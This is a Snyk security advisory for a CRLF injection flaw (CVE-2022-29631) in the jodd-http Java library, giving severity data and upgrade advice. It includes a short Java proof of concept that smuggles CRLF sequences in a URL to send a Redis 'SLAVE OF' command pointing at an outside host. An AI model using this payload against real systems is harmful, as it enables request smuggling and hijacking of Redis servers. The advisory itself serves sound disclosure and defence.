CRLF Injection Affecting org.jodd:jodd-http package, versions [,6.2.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.09% (40th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about CRLF Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGJODD-2859805
  • published7 Jun 2022
  • disclosed7 Jun 2022
  • credit1nhann

Introduced: 7 Jun 2022

CVE-2022-29631  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade org.jodd:jodd-http to version 6.2.1 or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection via the jodd.http.HttpRequest#set and jodd.http.HttpRequest#send components. Exploiting this vulnerability allows the attacker to inject an arbitrary TCP payload via a CRLF sequences in a URL.

PoC:

package top.inhann;

import jodd.http.HttpRequest;
import jodd.http.HttpResponse;

public class Test {
    public static void main(String[] args) {
        String url = "http://127.0.0.1:6379/ HTTP/1.1\r\nHost: 127.0.0.1:6379\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
        HttpRequest req = HttpRequest.get(url);
        HttpResponse res = req.send();
    }
}

CVSS Scores

version 3.1